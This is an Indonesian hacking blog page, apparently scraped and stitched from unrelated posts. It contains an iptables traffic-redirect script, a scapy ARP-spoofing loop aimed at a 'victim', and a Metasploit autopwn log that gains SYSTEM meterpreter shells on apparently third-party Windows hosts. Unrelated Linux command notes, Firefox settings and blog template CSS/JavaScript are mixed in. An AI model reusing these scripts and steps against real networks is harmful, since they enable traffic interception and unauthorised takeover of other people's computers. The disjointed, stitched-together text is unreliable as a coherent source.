Click toRead More
echo 1 > /proc/sys/net/ipv4/ip_forward
echo 0 > /proc/sys/net/ipv4/conf/$INTERFACE/send_redirects
iptables –flush
iptables –zero
iptables –delete-chain
iptables -F -t nat
iptables –append FORWARD –in-interface wlan0/eth0 –jump ACCEPT
iptables –table nat –append POSTROUTING –out-interface wlan0/eth0 –jump MASQUERADE
iptables -t nat -A PREROUTING -p tcp –dport 80 –jump DNAT –to-destination 10.42.43.23
iptables -t nat -A PREROUTING -p tcp –dport 443 –jump DNAT –to-destination 10.42.43.23
#!/bin/sh
INTERFACE=”wlan0″ #cek interface dg mengetikan ifconfig di terminal
SERVERWEB=’10.42.43.23′ #ip ente
echo 1 > /proc/sys/net/ipv4/ip_forward
echo 0 > /proc/sys/net/ipv4/conf/$INTERFACE/send_redirects
#clear rule..
iptables –flush
iptables –zero
iptables –delete-chain
iptables -F -t nat
iptables –append FORWARD –in-interface $INTERFACE –jump ACCEPT
iptables –table nat –append POSTROUTING –out-interface $INTERFACE –jump MASQUERADE
#rendirect traffic.. on my server/proxy
iptables -t nat -A PREROUTING -p tcp –dport 80 –jump DNAT –to-destination $SERVERWEB
iptables -t nat -A PREROUTING -p tcp –dport 443 –jump DNAT –to-destination $SERVERWEB
from scapy.all import *;
from time import sleep;
conf.iface=’wlan0′;#network card
target=”10.42.43.1″;#target /victim
router=”10.42.43.1″;#routernya
packet = ARP(); #bikin packet :P
packet.psrc = router # Gateway
packet.pdst = target # victim v.v
try:
while 1:
send(packet, verbose=0);
sleep(50);
except:
pass
ifconfig
di terminal)ichamedusa@359imbox:~$/home/ichamedusa$ ./nama.sh
ichamedusa@359imbox:~$/home/ichamedusa$ python nama.py
ls
, adalah perintah untuk menampilkan isi direktori.ls
:ls -r
menampilkan direktori dan isinya.ls -m
menampilkan file dengan koma sebagai pembagils -a
menampilkan file dan file yang tersembunyils *.txt
menampilkan file dengan ekstensils – -colour
menampilkan file dan direkstori dengan perbedaan warna.cd
digunakan untuk pindah direktori,cd [direktori yang dituju]
find
adalah perintah mencari file,find [direktori] [opsi] [aksi]
rm
adalah perintah menghapus filerm [nama file]
cp
adalah perintah menyalin file dan direktori.cp [file sumber] [file_target/ direktori]
mv
adalah perintah mengganti nama file dan memindahkan file.mv [filesumber] [file target]
dalam satu direktorimv [file sumber] [direktori target]
mkdir
adalah perintah untuk membuat direktori.mkdir [nama direktori]
who am i
adalah perintah untuk mengetahui siapa kita user atau super user.whereis
mencari tahu keberadaan file – file tertentu misal kernel, .conf dll.whereis [namafile]
browser.tabs.showSingleWindowModePrefs – true
network.http.max-connections – 48
network.http.max-connections-per-server – 16
network.http.max-persistent-connections-per-proxy – 8
network.http.max-persistent-connections-per-server – 4
network.http.pipelining – true
network.http.pipelining.maxrequests – 100
network.http.proxy.pipelining – true
network.http.request.timeout – 300
nglayout.initialpaint.delay – 0
browser.display.show_image_placeholders – false
ichamedusa@359imbox:~$ sudo apt-get install postgresql
ichamedusa@359imbox:~$ sudo apt-get install libpgsql-ruby
ichamedusa@359imbox:~$ sudo su postgres
ichamedusa@359imbox:/home/ichamedusa$ createuser ichamedusa -P
Enter password for new role: [masukkan password user]
Enter it again: [masukkan password user 1x lagi]
Shall the new role be a superuser? (y/n) Y
postgres@359imbox:/home/ichamedusa$/etc/init.d/postgresql-8.4 start
postgres@359imbox:/home/ichamedusa$sudo msfconsole
msf > db_driver postgresql
msf > db_connect scr3am:150787@127.0.0.1/msf_auto_pwn
msf > db_nmap -p 445 172.17.12.0-100
[*] Nmap: Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-09-07 13:20 WIT
[*] Nmap: Nmap scan report for 172.17.12.13
[*] Nmap: Host is up (0.012s latency).
[*] Nmap: PORT STATE SERVICE
[*] Nmap: 445/tcp open microsoft-ds
[*] Nmap: Nmap scan report for 172.17.12.16
[*] Nmap: Host is up (0.014s latency).
[*] Nmap: PORT STATE SERVICE
[*] Nmap: 445/tcp open microsoft-ds
[*] Nmap: Nmap scan report for 172.17.12.18
[*] Nmap: Host is up (0.016s latency).
[*] Nmap: PORT STATE SERVICE
[*] Nmap: 445/tcp open microsoft-ds
[*] Nmap: Nmap scan report for 172.17.12.39
[*] Nmap: Host is up (0.023s latency).
msf > db_autopwn -e -q -p
[*] (175/175 [2 sessions]): Waiting on 5 launched modules to finish execution...
[*] (175/175 [2 sessions]): Waiting on 5 launched modules to finish execution...
[*] (175/175 [2 sessions]): Waiting on 4 launched modules to finish execution...
[*] (175/175 [2 sessions]): Waiting on 3 launched modules to finish execution...
[*] (175/175 [2 sessions]): Waiting on 1 launched modules to finish execution...
[*] (175/175 [2 sessions]): Waiting on 1 launched modules to finish execution...
[*] (175/175 [2 sessions]): Waiting on 0 launched modules to finish execution...
msf > sleep 5
msf > jobs -K
msf > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ KOMINFO-DFE1227 172.17.42.2:41031 -> 172.17.12.146:4793
2 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ RINA_PUNYA 172.17.42.1:55416 -> 172.17.12.70:10811
msf > session -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
System Language : en_US
OS : Windows XP (Build 2600, Service Pack 2).
Computer : KOMINFO-DFE1227
Architecture : x86
Meterpreter : x86/win32
1112 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe
1324 AvastSvc.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\AVAST Software\Avast\AvastSvc.exe
1360 explorer.exe x86 0 KOMINFO-DFE1227\lina C:\WINDOWS\Explorer.EXE
1464 AvastUI.exe x86 0 KOMINFO-DFE1227\lina C:\Program Files\AVAST Software\Avast\avastUI.exe
1476 igfxtray.exe x86 0 KOMINFO-DFE1227\lina C:\WINDOWS\system32\igfxtray.exe
1484 hkcmd.exe x86 0 KOMINFO-DFE1227\lina C:\WINDOWS\system32\hkcmd.exe
1492 igfxpers.exe x86 0 KOMINFO-DFE1227\lina C:\WINDOWS\system32\igfxpers.exe
1504 BJMYPRT.EXE x86 0 KOMINFO-DFE1227\lina C:\Program Files\Canon\MyPrinter\BJMyPrt.exe
1548 igfxsrvc.exe x86 0 KOMINFO-DFE1227\lina C:\WINDOWS\system32\igfxsrvc.exe
1604 devices.exe x86 0 KOMINFO-DFE1227\lina C:\Program Files\Innovative Solutions\DriverMax\devices.exe
164 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
2200 alg.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\System32\alg.exe
2600 firefox.exe x86 0 KOMINFO-DFE1227\lina C:\Program Files\Mozilla Firefox\firefox.exe
3156 wscntfy.exe x86 0 KOMINFO-DFE1227\lina C:\WINDOWS\system32\wscntfy.exe
3172 wuauclt.exe x86 0 KOMINFO-DFE1227\lina C:\WINDOWS\system32\wuauclt.exe
3204 EXCEL.EXE x86 0 KOMINFO-DFE1227\lina C:\Program Files\Microsoft Office\Office12\EXCEL.EXE
meterpreter > migrate 1360
[*] Migrating to 1360...
[*] Migration completed successfully.
meterpreter > shell
Process 1932 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\lina>
.dp-highlighter
{
font-family: "Consolas", "Monaco", "Courier New", Courier, monospace;
font-size: 12px;
background-color: #E7E5DC;
width: 99%;
overflow: auto;
margin: 18px 0 18px 0 !important;
padding-top: 1px; /* adds a little border on top when controls are hidden */
}
/* clear styles */
.dp-highlighter ol,
.dp-highlighter ol li,
.dp-highlighter ol li span
{
margin: 0;
padding: 0;
border: none;
}
.dp-highlighter a,
.dp-highlighter a:hover
{
background: none;
border: none;
padding: 0;
margin: 0;
}
.dp-highlighter .bar
{
padding-left: 45px;
}
.dp-highlighter.collapsed .bar,
.dp-highlighter.nogutter .bar
{
padding-left: 0px;
}
.dp-highlighter ol
{
list-style: decimal; /* for ie */
background-color: #fff;
margin: 0px 0px 1px 45px !important; /* 1px bottom margin seems to fix occasional Firefox scrolling */
padding: 0px;
color: #5C5C5C;
}
.dp-highlighter.nogutter ol,
.dp-highlighter.nogutter ol li
{
list-style: none !important;
margin-left: 0px !important;
}
.dp-highlighter ol li,
.dp-highlighter .columns div
{
list-style: decimal-leading-zero; /* better look for others, override cascade from OL */
list-style-position: outside !important;
border-left: 3px solid #6CE26C;
background-color: #F8F8F8;
color: #5C5C5C;
padding: 0 3px 0 10px !important;
margin: 0 !important;
line-height: 14px;
}
.dp-highlighter.nogutter ol li,
.dp-highlighter.nogutter .columns div
{
border: 0;
}
.dp-highlighter .columns
{
background-color: #F8F8F8;
color: gray;
overflow: hidden;
width: 100%;
}
.dp-highlighter .columns div
{
padding-bottom: 5px;
}
.dp-highlighter ol li.alt
{
background-color: #FFF;
color: inherit;
}
.dp-highlighter ol li span
{
color: black;
background-color: inherit;
}
/* Adjust some properties when collapsed */
.dp-highlighter.collapsed ol
{
margin: 0px;
}
.dp-highlighter.collapsed ol li
{
display: none;
}
/* Additional modifications when in print-view */
.dp-highlighter.printing
{
border: none;
}
.dp-highlighter.printing .tools
{
display: none !important;
}
.dp-highlighter.printing li
{
display: list-item !important;
}
/* Styles for the tools */
.dp-highlighter .tools
{
padding: 3px 8px 3px 10px;
font: 9px Verdana, Geneva, Arial, Helvetica, sans-serif;
color: silver;
background-color: #f8f8f8;
padding-bottom: 10px;
border-left: 3px solid #6CE26C;
}
.dp-highlighter.nogutter .tools
{
border-left: 0;
}
.dp-highlighter.collapsed .tools
{
border-bottom: 0;
}
.dp-highlighter .tools a
{
font-size: 9px;
color: #a0a0a0;
background-color: inherit;
text-decoration: none;
margin-right: 10px;
}
.dp-highlighter .tools a:hover
{
color: red;
background-color: inherit;
text-decoration: underline;
}
/* About dialog styles */
.dp-about { background-color: #fff; color: #333; margin: 0px; padding: 0px; }
.dp-about table { width: 100%; height: 100%; font-size: 11px; font-family: Tahoma, Verdana, Arial, sans-serif !important; }
.dp-about td { padding: 10px; vertical-align: top; }
.dp-about .copy { border-bottom: 1px solid #ACA899; height: 95%; }
.dp-about .title { color: red; background-color: inherit; font-weight: bold; }
.dp-about .para { margin: 0 0 4px 0; }
.dp-about .footer { background-color: #ECEADB; color: #333; border-top: 1px solid #fff; text-align: right; }
.dp-about .close { font-size: 11px; font-family: Tahoma, Verdana, Arial, sans-serif !important; background-color: #ECEADB; color: #333; width: 60px; height: 22px; }
/* Language specific styles */
.dp-highlighter .comment, .dp-highlighter .comments { color: #008200; background-color: inherit; }
.dp-highlighter .string { color: blue; background-color: inherit; }
.dp-highlighter .keyword { color: #069; font-weight: bold; background-color: inherit; }
.dp-highlighter .preprocessor { color: gray; background-color: inherit; }
<!-- Add-in CSS for syntax highlighting -->
<script src='http://syntaxhighlighter.googlecode.com/svn/trunk/Scripts/shCore.js' type='text/javascript'></script>
<script src='http://syntaxhighlighter.googlecode.com/svn/trunk/Scripts/shBrushCpp.js' type='text/javascript'></script>
<script src='http://syntaxhighlighter.googlecode.com/svn/trunk/Scripts/shBrushCSharp.js' type='text/javascript'></script>
<script src='http://syntaxhighlighter.googlecode.com/svn/trunk/Scripts/shBrushCss.js' type='text/javascript'></script>
<script src='http://syntaxhighlighter.googlecode.com/svn/trunk/Scripts/shBrushDelphi.js' type='text/javascript'></script>
<script src='http://syntaxhighlighter.googlecode.com/svn/trunk/Scripts/shBrushJava.js' type='text/javascript'></script>
<script src='http://syntaxhighlighter.googlecode.com/svn/trunk/Scripts/shBrushJScript.js' type='text/javascript'></script>
<script src='http://syntaxhighlighter.googlecode.com/svn/trunk/Scripts/shBrushPhp.js' type='text/javascript'></script>
<script src='http://syntaxhighlighter.googlecode.com/svn/trunk/Scripts/shBrushPython.js' type='text/javascript'></script>
<script src='http://syntaxhighlighter.googlecode.com/svn/trunk/Scripts/shBrushRuby.js' type='text/javascript'></script>
<script src='http://syntaxhighlighter.googlecode.com/svn/trunk/Scripts/shBrushSql.js' type='text/javascript'></script>
<script src='http://syntaxhighlighter.googlecode.com/svn/trunk/Scripts/shBrushVb.js' type='text/javascript'></script>
<script src='http://syntaxhighlighter.googlecode.com/svn/trunk/Scripts/shBrushXml.js' type='text/javascript'></script>
<!-- Add-in Script for syntax highlighting -->
<script language='javascript'>
dp.SyntaxHighlighter.BloggerMode();
dp.SyntaxHighlighter.HighlightAll('code');
</script>
<pre name="code" class="cpp">
"tulis script kamu di sini"
</pre>